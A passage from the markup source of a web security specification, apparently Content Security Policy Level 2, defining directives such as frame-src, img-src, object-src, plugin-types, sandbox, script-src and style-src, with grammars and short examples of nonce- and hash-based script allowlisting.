merchant, this attack would be eliminated.\n    </section>\n  </section>\n\n<!--\n████████ ████████     ███    ██     ██ ████████          ██████  ████████   ██████\n██       ██     ██   ██ ██   ███   ███ ██               ██    ██ ██     ██ ██    ██\n██       ██     ██  ██   ██  ████ ████ ██               ██       ██     ██ ██\n██████   ████████  ██     ██ ██ ███ ██ ██████   ███████  ██████  ████████  ██\n██       ██   ██   █████████ ██     ██ ██                     ██ ██   ██   ██\n██       ██    ██  ██     ██ ██     ██ ██               ██    ██ ██    ██  ██    ██\n██       ██     ██ ██     ██ ██     ██ ████████          ██████  ██     ██  ██████\n-->\n  <section>\n    <h3 id=\"directive-frame-src\"><code>frame-src</code></h3>\n\n    The <code><dfn>frame-src</dfn></code> directive is <em>deprecated</em>.\n    Authors who wish to govern nested browsing contexts SHOULD use the\n    <code>child-src</code> directive instead.\n\n    The <code>frame-src</code> directive restricts from where the\n    protected resource can embed frames. The syntax for the name\n    and value of the directive are described by the following ABNF\n    grammar:\n\n    <pre>\n      directive-name    = \"frame-src\"\n      directive-value   = <a>source-list</a>\n    </pre>\n\n    The term <dfn>allowed frame sources</dfn> refers to the result of\n    <a lt=\"parse a source list\">parsing the <code>frame-src</code>\n    directive's value as a source list</a> if the policy contains an\n    explicit <code>frame-src</code>, or otherwise to the list of\n    <a>allowed child sources</a>.\n\n    Whenever the user agent <a>fetches</a> a URL in the course of one of the\n    following activities, if the URL does not\n    <a lt=\"match a source list\">match</a> the <a>allowed frame sources</a>\n    for the <a>protected resource</a>, the user agent MUST act as if there was a\n    fatal network error and no resource was obtained, <em>and</em> <a>report a\n    violation</a>:\n\n    <ul>\n      <li>Requesting data for display in a <a>nested browsing context</a> in the\n      protected resource created by an <{iframe}> or a <{frame}> element.\n\n      <li><a spec=\"HTML5\">Navigated</a> such a <a>nested browsing context</a>.</li>\n    </ul>\n  </section>\n\n<!--\n████ ██     ██  ██████            ██████  ████████   ██████\n ██  ███   ███ ██    ██          ██    ██ ██     ██ ██    ██\n ██  ████ ████ ██                ██       ██     ██ ██\n ██  ██ ███ ██ ██   ████ ███████  ██████  ████████  ██\n ██  ██     ██ ██    ██                ██ ██   ██   ██\n ██  ██     ██ ██    ██          ██    ██ ██    ██  ██    ██\n████ ██     ██  ██████            ██████  ██     ██  ██████\n-->\n  <section>\n    <h3 id=\"directive-img-src\"><code>img-src</code></h3>\n\n    The <code><dfn>img-src</dfn></code> directive restricts from where the\n    protected resource can load images. The syntax for the name and value\n    of the directive are described by the following ABNF grammar:\n\n    <pre>\n      directive-name    = \"img-src\"\n      directive-value   = <a>source-list</a>\n    </pre>\n\n    The term <dfn>allowed image sources</dfn> refers to the result of\n    <a lt=\"parse a source list\">parsing the <code>img-src</code>\n    directive's value as a source list</a> if the policy contains an\n    explicit <code>img-src</code>, or otherwise to the list of\n    <a>default sources</a>.\n\n    Whenever the user agent <a>fetches</a> a URL in the course of one of the\n    following activities, if the URL does not\n    <a lt=\"match a source list\">match</a> the <a>allowed image sources</a>\n    for the <a>protected resource</a>, the user agent MUST act as if there was a\n    fatal network error and no resource was obtained, <em>and</em> <a>report a\n    violation</a>:\n\n    <ul>\n      <!-- TODO: autolink srcset -->\n      <li>Requesting data for an image, such as when processing the\n      <{img/src}> or <code>srcset</code> attributes of an <{img}> element, the\n      <{input/src}> attribute of an <{input}> element with a type of\n      <{input/image}>, the <{video/poster}> attribute of a <{video}> element,\n      the <a>url()</a>, <a>image()</a> or <a>image-set()</a> values on any\n      Cascading Style Sheets (CSS) property that is capable of loading an image\n      [[!CSS4-IMAGES]], or the <{link/href}> attribute of a <{link}> element\n      with an image-related <{link/rel}> attribute, such as <{link/icon}>.</li>\n    </ul>\n  </section>\n\n<!--\n██     ██ ████████ ████████  ████    ███             ██████  ████████   ██████\n███   ███ ██       ██     ██  ██    ██ ██           ██    ██ ██     ██ ██    ██\n████ ████ ██       ██     ██  ██   ██   ██          ██       ██     ██ ██\n██ ███ ██ ██████   ██     ██  ██  ██     ██ ███████  ██████  ████████  ██\n██     ██ ██       ██     ██  ██  █████████               ██ ██   ██   ██\n██     ██ ██       ██     ██  ██  ██     ██         ██    ██ ██    ██  ██    ██\n██     ██ ████████ ████████  ████ ██     ██          ██████  ██     ██  ██████\n-->\n  <section>\n    <h3 id=\"directive-media-src\"><code>media-src</code></h3>\n\n    The <code><dfn>media-src</dfn></code> directive restricts from where the\n    protected resource can load video, audio, and associated text tracks.\n    The syntax for the name and value of the directive are described by the\n    following ABNF grammar:\n\n    <pre>\n      directive-name    = \"media-src\"\n      directive-value   = <a>source-list</a>\n    </pre>\n\n    The term <dfn>allowed media sources</dfn> refers to the result of\n    <a lt=\"parse a source list\">parsing the <code>media-src</code>\n    directive's value as a source list</a> if the policy contains an\n    explicit <code>media-src</code>, or otherwise to the list of\n    <a>default sources</a>.\n\n    Whenever the user agent <a>fetches</a> a URL in the course of one of the\n    following activities, if the URL does not\n    <a lt=\"match a source list\">match</a> the <a>allowed media sources</a>\n    for the <a>protected resource</a>, the user agent MUST act as if there was\n    a fatal network error and no resource was obtained, <em>and</em> <a>report\n    a violation</a>:\n\n    <ul>\n      <li>Requesting data for a video or audio clip, such as when processing the\n      <{video/src}> attribute of a <{video}>, <{audio}>, <{source}>, or\n      <{track}> element.</li>\n    </ul>\n  </section>\n\n<!--\n ███████  ████████        ██ ████████  ██████  ████████          ██████  ████████   ██████\n██     ██ ██     ██       ██ ██       ██    ██    ██            ██    ██ ██     ██ ██    ██\n██     ██ ██     ██       ██ ██       ██          ██            ██       ██     ██ ██\n██     ██ ████████        ██ ██████   ██          ██    ███████  ██████  ████████  ██\n██     ██ ██     ██ ██    ██ ██       ██          ██                  ██ ██   ██   ██\n██     ██ ██     ██ ██    ██ ██       ██    ██    ██            ██    ██ ██    ██  ██    ██\n ███████  ████████   ██████  ████████  ██████     ██             ██████  ██     ██  ██████\n-->\n  <section>\n    <h3 id=\"directive-object-src\"><code>object-src</code></h3>\n\n    The <code><dfn>object-src</dfn></code> directive restricts from where\n    the protected resource can load plugins. The syntax for the name and value\n    of the directive are described by the following ABNF grammar:\n\n    <pre>\n      directive-name    = \"object-src\"\n      directive-value   = <a>source-list</a>\n    </pre>\n\n    The term <dfn>allowed object sources</dfn> refers to the result of\n    <a lt=\"parse a source list\">parsing the <code>object-src</code>\n    directive's value as a source list</a> if the policy contains an\n    explicit <code>object-src</code>, or otherwise to the list of\n    <a>default sources</a>.\n\n    Whenever the user agent <a>fetches</a> a URL in the course of one of the\n    following activities, if the URL does not\n    <a lt=\"match a source list\">match</a> the <a>allowed object sources</a>\n    for the <a>protected resource</a>, the user agent MUST act as if there was a\n    fatal network error and no resource was obtained, <em>and</em> <a>report a\n    violation</a>:\n\n    <ul>\n      <li>Requesting data for a plugin, such as when processing the\n      <{object/data}> attribute of an <{object}> element, the <{embed/src}>\n      attribute of an <{embed}> element, or the <{applet/code}> or\n      <{applet/archive}> attributes of an <{applet}> element.</li>\n\n      <li>Requesting data for display in a <a>nested browsing context</a>\n      in the protected resource created by an <{object}> or an <{embed}>\n      element.</li>\n\n      <li>Navigating such a <a>nested browsing context</a>.</li>\n    </ul>\n\n    It is not required that the consumer of the element's data be a\n    <a>plugin</a> in order for the <code>object-src</code> directive to be\n    enforced. Data for any <{object}>, <{embed}>, or <{applet}> element MUST\n    match the <a>allowed object sources</a> in order to be fetched. This is true\n    even when the element data is semantically equivalent to content which would\n    otherwise be restricted by one of the other [[#directives]], such as an\n    <{object}> element with a <code>text/html</code> MIME type.\n\n    Whenever the user agent would load a <a>plugin</a> without an associated\n    URL (e.g., because the <{object}> element lacked a <{object/data}>\n    attribute), if the protected resource's URL does not\n    <a lt=\"match a source list\">match</a> the <a>allowed object sources</a>\n    for the <a>protected resource</a>, the user agent MUST NOT load the plugin.\n  </section>\n\n<!--\n████████  ██       ██     ██  ██████   ████ ██    ██         ████████ ██    ██ ████████  ████████  ██████\n██     ██ ██       ██     ██ ██    ██   ██  ███   ██            ██     ██  ██  ██     ██ ██       ██    ██\n██     ██ ██       ██     ██ ██         ██  ████  ██            ██      ████   ██     ██ ██       ██\n████████  ██       ██     ██ ██   ████  ██  ██ ██ ██ ███████    ██       ██    ████████  ██████    ██████\n██        ██       ██     ██ ██    ██   ██  ██  ████            ██       ██    ██        ██             ██\n██        ██       ██     ██ ██    ██   ██  ██   ███            ██       ██    ██        ██       ██    ██\n██        ████████  ███████   ██████   ████ ██    ██            ██       ██    ██        ████████  ██████\n-->\n  <section>\n    <h3 id=\"directive-plugin-types\"><code>plugin-types</code></h3>\n\n    The <code><dfn>plugin-types</dfn></code> directive restricts the set\n    of plugins that can be invoked by the protected resource by limiting\n    the types of resources that can be embedded. The syntax for the name\n    and value of the directive are described by the following ABNF\n    grammar:\n\n    <pre>\n      directive-name    = \"plugin-types\"\n      directive-value   = media-type-list\n    </pre>\n\n    The term <dfn>allowed plugin media types</dfn> refers to the result of\n    <a lt=\"parse a media type list\">parsing the <code>plugin-types</code>\n    directive's value as a media type list</a>.\n\n    Whenever the user agent would instantiate a <a>plugin</a>\n    to handle <var>resource</var> while enforcing the <code>plugin-types</code>\n    directive, the user agent MUST instead act as though the plugin reported an\n    error <em>and</em> <a>report a violation</a> if any of the following\n    conditions hold:\n\n    <ul>\n        <li>The plugin is embedded into the protected resource via an\n        <{object}> or <{embed}> element that does not explicitly\n        declare a <a spec=\"HTML5\">MIME type</a> via a <{object/type}>\n        attribute.</li>\n\n        <li><var>resource</var>'s media type does not\n        <a lt=\"match a media type list\">match</a> the list of <a>allowed\n        plugin media types</a>.</li>\n\n        <li>The plugin is embedded into the protected resource via an\n        <{object}> or <{embed}> element, and the media type declared\n        in the element's <{object/type}> attribute is not an <a>ASCII\n        case-insensitive match</a> for the <var>resource</var>'s media\n        type.</li>\n\n        <li>The plugin is embedded into the protected resource via an\n        <{applet}> element, and <var>resource</var>'s media type is not an\n        <a>ASCII case-insensitive match</a> for\n        <code>application/x-java-applet</code>.</li>\n    </ul>\n\n    Note: In any of these cases, acting as though the plugin reported an\n    error will cause the user agent to display the <a spec=\"HTML5\">fallback\n    content</a>.\n\n    Whenever the user agent creates a <a spec=\"HTML5\">plugin document</a> as the\n    <a>active document</a> of a <a>child browsing context</a> of the\n    <a>protected resource</a>, if the user agent is enforcing any\n    <code>plugin-types</code> directives for the protected resource, the user\n    agent MUST <a>enforce</a> those <code>plugin-types</code> directives on the\n    plugin document as well.\n\n    Whenever the user agent creates a <a spec=\"HTML5\">plugin document</a> as the\n    <a>active document</a> of a <a>child browsing context</a> of the\n    <a>protected resource</a>, if the user agent is monitoring any\n    <code>plugin-types</code> directives for the protected resource, the user\n    agent MUST <a>monitor</a> those <code>plugin-types</code> directives on the\n    plugin document as well.\n\n    <section class=\"informative\">\n      <h4 id=\"plugin-types-usage\">Usage</h4>\n\n      <em>This section is not normative.</em>\n\n      The <code>plugin-types</code> directive whitelists a certain set\n      of MIME types that can be embedded in a protected resource. For\n      example, a site might want to ensure that PDF content loads, but that\n      no other plugins can be instantiated. The following directive would\n      satisfy that requirement:\n\n      <pre>Content-Security-Policy: <a>plugin-types</a> application/pdf</pre>\n\n      Resources embedded via an <code><a element>embed</a></code> or\n      <code><a element>object</a></code> element delivered with an\n      <code>application/pdf</code> content type would be rendered in the\n      appropriate plugin; resources delivered with some other content type\n      would be blocked. Multiple types can be specified, in any order. If the\n      site decided to additionally allow Flash at some point in the future, it\n      could do so with the following directive:\n\n      <pre>Content-Security-Policy: <a>plugin-types</a> application/pdf application/x-shockwave-flash</pre>\n\n      Note: Wildcards are not accepted in the <code>plugin-types</code>\n      directive. Only the resource types explicitly listed in the directive\n      will be allowed.\n  </section>\n  <section class=\"informative\">\n      <h4 id=\"plugin-types-predeclaration\">\n        Predeclaration of expected media types\n      </h4>\n\n      <em>This section is not normative.</em>\n\n      Enforcing the <code>plugin-types</code> directive requires that\n      <code><a element>object</a></code> and <code><a element>embed</a></code>\n      elements declare the expected media type of the resource they include via\n      the <code><a element-attr>type</a></code> attribute. If an author expects\n      to load a PDF, she could specify this as follows:\n\n      <pre>&lt;object data=\"<var>resource</var>\" type=\"application/pdf\"&gt;&lt;/object&gt;</pre>\n\n      If <var>resource</var> isn't actually a PDF file, it won't\n      load. This prevents certain types of attacks that rely on serving\n      content that unexpectedly invokes a plugin other than that which the\n      author intended.\n\n      Note: <var>resource</var> will not load in this scenario even\n      if its media type is otherwise whitelisted: resources will only load\n      when their media type is whitelisted <em>and</em> matches the\n      declared type in their containing element.\n    </section>\n  </section>\n\n<!--\n████████  ████████ ████████   ███████  ████████  ████████         ██     ██ ████████  ████\n██     ██ ██       ██     ██ ██     ██ ██     ██    ██            ██     ██ ██     ██  ██\n██     ██ ██       ██     ██ ██     ██ ██     ██    ██            ██     ██ ██     ██  ██\n████████  ██████   ████████  ██     ██ ████████     ██    ███████ ██     ██ ████████   ██\n██   ██   ██       ██        ██     ██ ██   ██      ██            ██     ██ ██   ██    ██\n██    ██  ██       ██        ██     ██ ██    ██     ██            ██     ██ ██    ██   ██\n██     ██ ████████ ██         ███████  ██     ██    ██             ███████  ██     ██ ████\n-->\n  <section>\n    <h3 id=\"directive-report-uri\"><code>report-uri</code></h3>\n\n    The <code><dfn>report-uri</dfn></code> directive specifies a URL to\n    which the user agent sends reports about policy violation. The syntax\n    for the name and value of the directive are described by the following\n    ABNF grammar:\n\n    <pre>\n      directive-name    = \"report-uri\"\n      directive-value   = <a>uri-reference</a> *( 1*WSP <a>uri-reference</a> )\n      <dfn>uri-reference</dfn>     = &lt;URI-reference from RFC 3986&gt;\n    </pre>\n\n    The <dfn>set of report URLs</dfn> is the value of the\n    <code>report-uri</code> directive, each resolved relative to the\n    protected resource's URL.\n\n    The process of sending violation reports to the URLs specified in\n    this directive's value is defined in this document's\n    <a section href=\"#violation-reports\"></a> section.\n\n    Note: The <code>report-uri</code> directive will be ignored if contained\n    within a <a href=\"#delivery-html-meta-element\"><code>meta</code>\n    element</a>.\n  </section>\n<!--\n ██████     ███    ██    ██ ████████  ████████   ███████  ██     ██\n██    ██   ██ ██   ███   ██ ██     ██ ██     ██ ██     ██  ██   ██ \n██        ██   ██  ████  ██ ██     ██ ██     ██ ██     ██   ██ ██  \n ██████  ██     ██ ██ ██ ██ ██     ██ ████████  ██     ██    ███   \n      ██ █████████ ██  ████ ██     ██ ██     ██ ██     ██   ██ ██  \n██    ██ ██     ██ ██   ███ ██     ██ ██     ██ ██     ██  ██   ██ \n ██████  ██     ██ ██    ██ ████████  ████████   ███████  ██     ██\n-->\n  <section>\n    <h3 id=\"directive-sandbox\"><code>sandbox</code></h3>\n\n    The <code><dfn>sandbox</dfn></code> directive specifies an HTML\n    sandbox policy that the user agent applies to the protected resource.\n    The syntax for the name and value of the directive are described by\n    the following ABNF grammar:\n\n    <pre>\n      directive-name    = \"sandbox\"\n      directive-value   = \"\" / sandbox-token *( 1*WSP <a>sandbox-token</a> )\n      <dfn>sandbox-token</dfn>     = &lt;token from RFC 7230&gt;\n    </pre>\n\n    When enforcing the <code>sandbox</code> directive, the user agent\n    MUST <a spec=\"HTML5\">parse a sandboxing directive</a> using the\n    <code>directive-value</code> as the <em>input</em> and protected\n    resource's <a spec=\"HTML5\">forced sandboxing flag set</a>\n    as the output. [[!HTML5]]\n\n    The <code>sandbox</code> directive will be ignored when <a>monitoring</a>\n    a policy, and when contained in a policy defined via a\n    <a href=\"#delivery-html-meta-element\"><code>meta</code> element</a>.\n    Moreover, this directive has no effect when <a>monitored</a>, and has no\n    reporting requirements.\n\n    <h4 id=\"sandboxing-and-workers\">Sandboxing and Workers</h4>\n\n    When delivered via an HTTP header, a Content Security Policy may indicate\n    that sandboxing flags ought to be applied to a JavaScript execution\n    environment that is not a {{Document}}. Of particular interest is the\n    script content intended for use as a Worker, Shared Worker, or Service\n    Worker. Many of the sandboxing flags do not apply to such environments, but\n    <a element-attr for=\"iframe\">allow-scripts</a> and\n    <a element-attr for=\"iframe\">allow-same-origin</a> have special\n    requirements.\n\n    When a resource is loaded while executing the <a>runs a\n    <code>Worker</code></a> algorithm, the user agent MUST act as if there was\n    a fatal network error and no resource could be obtained if either of the\n    following conditions holds:\n\n    <ol>\n      <li>\n        The <code><a>sandbox</a></code> directive delivered with the resource\n        does <em>not</em> contain the\n        <a element-attr for=\"iframe\">allow-scripts</a> flag.\n      </li>\n      <li>\n        The <code><a>sandbox</a></code> directive delivered with the resource\n        does <em>not</em> contain the\n        <a element-attr for=\"iframe\">allow-same-origin</a> flag, <em>and</em>\n        the creation of the new execution context requires it to be same-origin\n        with its creating context.\n      </li>\n    </ol>\n\n    <section class=\"informative\">\n      <h4 id=\"sandbox-usage\">Usage</h4>\n\n      <em>This section is not normative.</em>\n\n      <p>HTML5 defines a <code><a element-attr>sandbox</a></code> attribute for\n      <code><a element>iframe</a></code> elements, intended to allow web authors\n      to reduce the risk of including potentially untrusted content by imposing\n      restrictions on that content's abilities. When the attribute is set,\n      the content is forced into a unique origin, prevented from submitting\n      forms, running script, creating or navigating other browsing contexts,\n      and prevented from running plugins. These restrictions can be loosened\n      by setting certain flags as the attribute's value.\n\n      The <code>sandbox</code> directive allows any resource, framed or\n      not, to ask for the same sorts of restrictions to be applied to\n      itself.\n\n      For example, a message board or email system might provide\n      downloads of arbitrary attachments provided by other users. Attacks\n      that rely on tricking a client into rendering one of these attachments\n      could be mitigated by requesting that resources only be rendered in a\n      very restrictive sandbox. Sending the <code>sandbox</code> directive\n      with an empty value establishes such an environment:\n\n      <pre>Content-Security-Policy: <a>sandbox</a></pre>\n\n      More trusted resources might be allowed to run in an environment\n      with fewer restrictions by adding <code>allow-*</code> flags to the\n      directive's value. For example, you can allow a page that you trust\n      to run script, while ensuring that it isn't treated as same-origin\n      with the rest of your site. This can be accomplished by sending the\n      <code>sandbox</code> directive with the\n      <code><a element-attr>allow-scripts</a></code> flag:\n\n      <pre>Content-Security-Policy: <a>sandbox</a> <a element-attr>allow-scripts</a></pre>\n\n      The set of flags available to the CSP directive should match those\n      available to the <code><a element>iframe</a></code> attribute.\n      Currently, those include:\n\n      <ul>\n        <li><code><a element-attr>allow-forms</a></code></li>\n        <li><code><a element-attr>allow-pointer-lock</a></code></li>\n        <li><code><a element-attr>allow-popups</a></code></li>\n        <li><code><a element-attr>allow-same-origin</a></code></li>\n        <li><code><a element-attr>allow-scripts</a></code></li>\n        <li><code><a element-attr>allow-top-navigation</a></code></li>\n      </ul>\n\n      Note: Like the rest of Content Security Policy, the <code>sandbox</code>\n      directive is meant as a defense-in-depth. Web authors would be well-served\n      to use it <em>in addition to</em> standard sniffing-mitigation and\n      privilege-reduction techniques.\n    </section>\n  </section>\n\n<!--\n ██████   ██████  ████████  ████ ████████  ████████          ██████  ████████   ██████\n██    ██ ██    ██ ██     ██  ██  ██     ██    ██            ██    ██ ██     ██ ██    ██\n██       ██       ██     ██  ██  ██     ██    ██            ██       ██     ██ ██\n ██████  ██       ████████   ██  ████████     ██    ███████  ██████  ████████  ██\n      ██ ██       ██   ██    ██  ██           ██                  ██ ██   ██   ██\n██    ██ ██    ██ ██    ██   ██  ██           ██            ██    ██ ██    ██  ██    ██\n ██████   ██████  ██     ██ ████ ██           ██             ██████  ██     ██  ██████\n-->\n  <section>\n    <h3 id=\"directive-script-src\"><code>script-src</code></h3>\n\n    The <code><dfn>script-src</dfn></code> directive restricts which scripts the\n    protected resource can execute. The directive also controls other resources,\n    such as XSLT style sheets [[!XSLT]], which can cause the user agent to\n    execute script. The syntax for the name and value of the directive are\n    described by the following ABNF grammar:\n\n    <pre>\n      directive-name    = \"script-src\"\n      directive-value   = <a>source-list</a>\n    </pre>\n\n    The term <dfn>allowed script sources</dfn> refers to the result of\n    <a lt=\"parse a source list\">parsing the <code>script-src</code>\n    directive's value as a source list</a> if the policy contains an\n    explicit <code>script-src</code>, or otherwise to the <a>default\n    sources</a>.\n\n    If <code>'unsafe-inline'</code> is <strong>not</strong> in the\n    list of <a>allowed script sources</a>, or if at least one\n    <code><a>nonce-source</a></code> or <code><a>hash-source</a></code> is\n    present in the list of <a>allowed script sources</a>:\n\n    <ul>\n      <li>Whenever the user agent would execute an inline script from a\n      <code><a element>script</a></code> element that lacks a <a>valid nonce</a>\n      <em>and</em> lacks a <a>valid hash</a> for the <a>allowed script\n      sources</a>, instead the user agent MUST NOT execute script, <em>and</em>\n      MUST <a>report a violation</a>.</li>\n\n      <li>Whenever the user agent would execute an inline script from an\n      inline event handler, instead the user agent MUST NOT execute script,\n      <em>and</em> MUST <a>report a violation</a>.</li>\n\n      <li>Whenever the user agent would execute script contained in a\n      <code>javascript</code> URL, instead the user agent MUST NOT execute\n      the script, <em>and</em> MUST <a>report a violation</a>.</li>\n    </ul>\n\n    If <code>'unsafe-eval'</code> is <strong>not</strong> in <a>allowed script\n    sources</a>:\n\n    <ul>\n      <li>Instead of evaluating their arguments, both operator\n      <code>eval</code> and function <code>eval</code> [[!ECMA-262]]\n      MUST throw an <code>EvalError</code> exception.</li>\n\n      <li>When called as a constructor, the function <code>Function</code>\n      [[!ECMA-262]] MUST throw an <code>EvalError</code> exception.</li>\n\n      <li>When called with a first argument that is not <a>callable</a> (a\n      string, for example), the\n      <code><a method for=\"WindowTimers\">setTimeout()</a></code> function MUST\n      return zero without creating a timer.</li>\n\n      <li>When called with a first argument that is not <a>callable</a> (a\n      string, for example), the\n      <code><a method for=\"WindowTimers\">setInterval()</a></code> function MUST\n      return zero without creating a timer.</li>\n    </ul>\n\n    Whenever the user agent <a>fetches</a> a URL (including when following\n    redirects) in the course of one of the following activities, if the URL does\n    not <a lt=\"match a source list\">match</a> the <a>allowed script\n    sources</a> for the <a>protected resource</a>, the user agent MUST act as if\n    there was a fatal network error and no resource was obtained, <em>and</em>\n    <a>report a violation</a>:\n\n    <ul>\n      <li>Requesting a script while processing the <{script/src}> attribute of\n      a <{script}> element that lacks a <a>valid nonce</a> for the <a>allowed\n      script sources</a>.</li>\n\n      <li>Requesting a script while invoking the <code>importScripts</code>\n      method on a WorkerGlobalScope object. [[!WORKERS]]</li>\n\n      <li>Requesting an HTML component, such as\n      when processing the <code>href</code> attribute of a <code><a element>link</a></code>\n      element with a <code>rel</code> attribute containing the token\n      <code>import</code>. [[!HTML-IMPORTS]]</li>\n\n      <li>Requesting an Extensible Stylesheet Language Transformations\n      (XSLT) [[!XSLT]], such as when processing the\n      <code>&lt;?xml-stylesheet?&gt;</code> processing directive in an XML\n      document [[!XML11]], the <code><a element-attr>href</a></code> attributes\n      on <code>&lt;xsl:include&gt;</code> and <code>&lt;xsl:import&gt;</code>\n      elements.</li>\n    </ul>\n\n    <section class=\"informative\">\n      <h4 id=\"script-src-nonce-usage\">\n        Nonce usage for <code><a element>script</a></code> elements\n      </h4>\n\n      <em>This section is not normative.</em>\n\n      The <code><a>script-src</a></code> directive lets developers specify\n      exactly which script elements on a page were intentionally included\n      for execution. Ideally, developers would avoid inline script entirely\n      and whitelist scripts by URL. However, in some cases, removing inline\n      scripts can be difficult or impossible. For those cases, developers can\n      whitelist scripts using a randomly generated nonce.\n\n      Usage is straightforward. For <em>each</em> request, the server\n      generates a unique value at random, and includes it in the\n      <code>Content-Security-Policy</code> header:\n\n      <pre>\n        Content-Security-Policy: <a>default-src</a> 'self';\n                                 <a>script-src</a> 'self' https://example.com 'nonce-<em>$RANDOM</em>'\n      </pre>\n\n      This same value is then applied as a <code>nonce</code> attribute\n      to each <code><a element>script</a></code> element that ought to be\n      executed. For example, if the server generated the random value\n      <code>Nc3n83cnSAd3wc3Sasdfn939hc3</code>,  the server would send the\n      following policy:\n\n      <pre>\n        Content-Security-Policy: <a>default-src</a> 'self';\n                                 <a>script-src</a> 'self' https://example.com 'nonce-Nc3n83cnSAd3wc3Sasdfn939hc3'\n      </pre>\n\n      Script elements can then execute either because their <{script/src}> URLs\n      are whitelisted or because they have a <a>valid nonce</a>:\n\n      <pre>\n        &lt;script&gt;\n        alert(\"Blocked because the policy doesn't have 'unsafe-inline'.\")\n        &lt;/script&gt;\n\n        &lt;script nonce=\"EDNnf03nceIOfn39fn3e9h3sdfa\"&gt;\n        alert(\"Still blocked because nonce is wrong.\")\n        &lt;/script&gt;\n\n        &lt;script nonce=\"Nc3n83cnSAd3wc3Sasdfn939hc3\"&gt;\n        alert(\"Allowed because nonce is valid.\")\n        &lt;/script&gt;\n\n        &lt;script src=\"https://example.com/allowed-because-of-src.js\"&gt;&lt;/script&gt;\n\n        &lt;script nonce=\"EDNnf03nceIOfn39fn3e9h3sdfa\"\n            src=\"https://elsewhere.com/blocked-because-nonce-is-wrong.js\"&gt;&lt;/script&gt;\n\n        &lt;script nonce=\"Nc3n83cnSAd3wc3Sasdfn939hc3\"\n            src=\"https://elsewhere.com/allowed-because-nonce-is-valid.js\"&gt;&lt;/script&gt;\n      </pre>\n\n      Note that the nonce's value is <em>not</em> a hash or signature\n      that verifies the contents of the script resources. It's quite simply\n      a random string that informs the user agent which scripts were\n      intentionally included in the page.\n\n      Script elements with the proper nonce execute, regardless of\n      whether they're inline or external. Script elements without the\n      proper nonce don't execute unless their URLs are whitelisted.\n      Even if an attacker is able to inject markup into the protected\n      resource, the attack will be blocked by the attacker's inability\n      to guess the random value.\n    </section>\n    <section class=\"informative\">\n      <h4 id=\"script-src-hash-usage\">\n        Hash usage for <code><a element>script</a></code> elements\n      </h4>\n\n      <em>This section is not normative.</em>\n\n      The <code><a>script-src</a></code> directive lets developers whitelist a\n      particular inline script by specifying its hash as an allowed source\n      of script.\n\n      Usage is straightforward. The server computes the hash of a\n      particular script block's contents, and includes the base64 encoding\n      of that value in the <code>Content-Security-Policy</code> header:\n\n      <pre>\n        Content-Security-Policy: <a>default-src</a> 'self';\n                                 <a>script-src</a> 'self' https://example.com 'sha256-<var>base64 encoded hash</var>'\n      </pre>\n\n      Each inline script block's contents are hashed, and compared against\n      the whitelisted value. If there's a match, the script is executed. For\n      example, the SHA-256 digest of <code>alert('Hello, world.');</code> is\n      <code>qznLcsROx4GACP2dm0UCKCzCG+HiZ1guq6ZZDob/Tng=</code>.\n\n      <div class=\"example\">\n        You can obtain the digest of a string on the command line simply\n        via the <code>openssl</code> program. For example:\n\n        <pre>\n          echo -n \"alert('Hello, world.');\" | openssl dgst -sha256 -binary | openssl enc -base64\n        </pre>\n      </div>\n\n      If the server sent the following header:\n\n      <pre>\n        Content-Security-Policy: <a>script-src</a> 'sha512-YWIzOWNiNzJjNDRlYzc4MTgwMDhmZDlkOWI0NTAyMjgyY2MyMWJlMWUyNjc1ODJlYWJhNjU5MGU4NmZmNGU3OAo='\n      </pre>\n\n      Then the following script tag would result in script execution:\n\n      <pre>\n        &lt;script&gt;alert('Hello, world.');&lt;/script&gt;\n      </pre>\n\n      Whitespace is significant. The following scripts blocks would not hash to\n      the same value, and would therefore <em>not</em> execute:\n\n      <pre>\n        &lt;script&gt; alert('Hello, world.');&lt;/script&gt;\n        &lt;script&gt;alert('Hello, world.'); &lt;/script&gt;\n        &lt;script&gt; alert('Hello, world.'); &lt;/script&gt;\n        &lt;script&gt;\n        alert('Hello, world.');\n        &lt;/script&gt;\n      </pre>\n\n      Note also that the hash applies <em>only</em> to inline script. An\n      externalized script containing the value\n      <code>alert('Hello, world.');</code> would <em>not</em> execute if its\n      origin was not whitelisted as a valid source of script.\n    </section>\n  </section>\n\n<!--\n ██████  ████████ ██    ██ ██       ████████          ██████  ████████   ██████\n██    ██    ██     ██  ██  ██       ██               ██    ██ ██     ██ ██    ██\n██          ██      ████   ██       ██               ██       ██     ██ ██\n ██████     ██       ██    ██       ██████   ███████  ██████  ████████  ██\n      ██    ██       ██    ██       ██                     ██ ██   ██   ██\n██    ██    ██       ██    ██       ██               ██    ██ ██    ██  ██    ██\n ██████     ██       ██    ████████ ████████          ██████  ██     ██  ██████\n-->\n  <section>\n    <h3 id=\"directive-style-src\"><code>style-src</code></h3>\n\n    The <code><dfn>style-src</dfn></code> directive restricts which styles the\n    user agent applies to the protected resource. The syntax for the name and\n    value of the directive are described by the following ABNF grammar:\n\n    <pre>\n      directive-name    = \"style-src\"\n      directive-value   = <a>source-list</a>\n    </pre>\n\n    The term <dfn>allowed style sources</dfn> refers to the result of\n    <a lt=\"parse a source list\">parsing the <code>style-src</code>\n    directive's value as a source list</a> if the policy contains an\n    explicit <code>style-src</code>, or otherwise to the <a>default sources</a>.\n\n    If <code>'unsafe-inline'</code> is <strong>not</strong> in the\n    list of <a>allowed style sources</a>, or if at least one\n    <code><a>nonce-source</a></code> or <code><a>hash-source</a></code>\n    is present in the list of <a>allowed style sources</a>:\n\n    <ul>\n      <li>Whenever the user agent would apply style from a\n      <code><a element>style</a></code> element that lacks a\n      <a>valid nonce</a> <em>and</em> lacks a <a>valid hash</a> for the\n      <a>allowed style sources</a>, instead the user agent <code>MUST</code>\n      ignore the style, <em>and</em> MUST <a>report a violation</a>.</li>\n\n      <li>Whenever the user agent would apply style from a\n      <code><a element>style</a></code> attribute, instead the user agent\n      <code>MUST</code> ignore the style, <em>and</em> MUST <a>report a\n      violation</a>.</li>\n    </ul>\n\n    Note: These restrictions on inline do not prevent the user agent\n    from applying style from an external stylesheet (e.g., found via\n    <code>&lt;link rel=\"stylesheet\" ...&gt;</code>).\n\n    If <code>'unsafe-eval'</code> is <strong>not</strong> in <a>allowed style\n    sources</a>, then:\n\n    <ul>\n      <li>Whenever the user agent would invoke the Cascading Style Sheets\n      Object Model algorithms\n      <a spec=\"CSSOM\">insert a CSS rule</a>, <a spec=\"CSSOM\">parse a CSS rule</a>,\n      <a spec=\"CSSOM\">parse a CSS declaration block</a>, or\n      <a spec=\"CSSOM\">parse a group of selectors</a>\n      instead the user agent MUST throw a <a spec=\"HTML5\">SecurityError</a>\n   